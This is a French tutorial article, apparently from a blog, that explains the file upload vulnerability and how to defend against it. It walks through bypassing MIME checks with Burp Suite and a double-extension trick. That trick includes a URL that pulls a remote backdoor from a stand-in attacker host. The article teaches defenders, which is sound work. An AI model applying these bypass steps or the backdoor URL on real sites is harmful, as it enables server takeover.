Qu’est-ce que la faille d’upload et comment s’en protéger ?

clients torrent
clients torrent

Imaginez un site web qui vous permet d'ajouter (ou d'uploader) des photos. Normalement, vous ne pouvez ajouter que des photos, comme des JPEG ou des PNG. Mais si le site n'est pas bien protégé, il se pourrait que quelqu'un ajoute autre chose, comme un fichier malveillant.

Cette erreur de protection s'appelle la "faille d'upload". Elle arrive quand un site web accepte des fichiers qu'il ne devrait pas accepter.

Dans cet article, nous explorerons la faille d'upload. Vous découvrirez comment fonctionne cette vulnérabilité, pourquoi elle est préoccupante, et comment une personne malveillante pourrait potentiellement l'exploiter. Nous vous montrerons également comment s'en protéger.

Info: Il est important de noter que bien qu'il existe de nombreuses façons d'exploiter la faille d'upload, nous n'aborderons ici que deux méthodes spécifiques. Notre objectif n'est pas de fournir un guide complet, mais plutôt une initiation à la compréhension du sujet. Ceci afin que les professionnels de la sécurité et les développeurs web soient mieux équipés pour défendre leurs sites contre de telles vulnérabilités.

Comment fonctionne la faille Upload ?

Le but de cette faille est d'uploader un fichier avec une extension non autorisée, par exemple un code PHP. Cela permet au pirate informatique d'accéder au serveur cible.

Si le formulaire d'upload de votre site n'est pas sécurisé, un pirate pourrait facilement téléverser un fichier PHP malveillant, par exemple un "web shell", qui lui donnerait un contrôle total sur votre application web et votre serveur.

Comment cela se produit-il ?

La vérification des fichiers n'est pas stricte : Certains sites vérifient seulement le type de fichier (comme JPEG pour les images). Mais un pirate peut tromper ce système en faisant croire que son fichier malveillant est juste une photo.

Exemple simple :

Imaginons que vous ayez une porte chez vous qui ne s'ouvre que pour votre famille. Si cette porte croit que tout le monde avec un chapeau est un membre de votre famille, alors quelqu'un de malintentionné avec un chapeau pourrait entrer. C'est pareil avec cette faille : le site croit que c'est une photo, alors qu'en réalité, c'est quelque chose de dangereux.

Comment un pirate pourrait-il exploiter cette faille d'upload ?

Contourner la vérification MIME

Le type MIME d'un fichier définit son type de contenu. Par exemple, le MIME des images gif est "image/gif", tandis que celui des images jpg est "image/jpeg". Certains scripts d'upload se contentent de vérifier si le MIME correspond aux types de fichiers autorisés. Toutefois, cette seule vérification n'est pas infaillible.

En effet, un acteur malveillant peut tromper cette vérification. Par exemple, il pourrait uploader un fichier PHP tout en faisant croire au serveur qu'il s'agit d'une image JPEG.

Pour ce faire, il pourrait :

  • Installer Burp Suite,
  • Configurer son navigateur pour qu'il utilise le proxy de Burp Suite. Pour cela, ouvrez Burp Suite et allez dans l'onglet  "Proxy" > "Intercept" et cliquez sur "Intercept is on".
  • Accéder à un site de test vulnérable disposant d'un script d'upload.
  • Intercepter la requête d'upload avec Burp Suite.

Déguiser un fichier PHP en Image JPEG étape par étape

Avec Burp Suite déjà en écoute et configuré comme proxy du navigateur :

  • Ouvrez le site de test vulnérable depuis le navigateur du logiciel Burp Suite.
  • Ensuite, cliquez sur le bouton d'upload et sélectionnez le fichier PHP que vous souhaitez téléverser.
  • Maintenant, dans Burp Suite, vous devriez voir la requête interceptée.
  • Sous l'onglet "Proxy" et "HTTP history", identifiez la requête d'upload du fichier. Cliquez dessus pour la sélectionner.
  • Dans la section "Request Headers", repérez content-type, qui pourrait être "text/php" et le remplacer par "image/jpeg".
  • Cliquez sur le bouton "Forward" pour transmettre la requête modifiée au serveur.

Si le fichier est accepté, cela pourrait indiquer une faille de sécurité. Une telle découverte devrait être corrigé.

2) Double extension

Certains scripts ne font que vérifier l'extension du fichier, mais même cette protection peut être contournée par un pirate en utilisant une double extension (selon l'hébergeur).

Voici comment cela fonctionne :

  • Tout d'abord, nous créons un fichier GIF. Pour ce faire, ouvrez le programme Paint et créez une image de quelques pixels.
  • Ensuite, ouvrez notre fichier GIF avec un éditeur hexadécimal (comme Frhed, l'un des meilleurs pour cette tâche).
  • Maintenant, imaginez que nous insérions du code PHP dans notre GIF et que nous ajoutions une double extension (.php.gif).
  • Dans notre éditeur, nous trouvons un espace vide où nous pouvons ajouter un en-tête HTML ainsi que la fonction "include".
  • Ainsi, nous obtenons notre fichier.php.gif.
  • Lorsque nous l'uploadons, l'opération semble réussir.
  • Nous pouvons alors accéder à notre fichier.php.gif?test=http://www.sitepirate.com/backdoor.php. Et voilà, notre backdoor est en place.

Cela montre comment une simple double extension peut permettre à un pirate de contourner les vérifications et d'introduire une backdoor sur le serveur.

Conseils pour sécuriser les fonctionnalités d'upload

Pour prévenir les failles d'upload, suivez ces recommandations :

  • Utilisez des bibliothèques bien établies et maintenues pour le traitement des fichiers, comme Django's FileField ou CarrierWave pour Ruby on Rails.
  • En plus de vérifier l'extension de fichier, effectuez une vérification du type MIME du fichier côté serveur pour vous assurer qu'il correspond réellement à son extension.
  • Lorsque vous enregistrez des fichiers, renommez-les en utilisant un nom généré aléatoirement ou un hachage unique au lieu de conserver le nom d'origine. Cela rendra plus difficile pour les attaquants de deviner le nom des fichiers sur votre serveur.
  • Assurez-vous que toutes les vérifications de sécurité se font côté serveur. Ne vous fiez pas uniquement aux contrôles côté client, car ils peuvent être contournés.
  • Considérez l'utilisation de systèmes de stockage dédiés, comme Amazon S3 ou Google Cloud Storage, pour stocker les fichiers téléversés.
  • Surveillez et analysez régulièrement les journaux d'activité liés aux téléversements pour détecter toute activité suspecte ou des schémas inhabituels.
  • Ne pas permettre de voir l’index of du répertoire d’upload. Assigner les bonnes permissions au répertoire.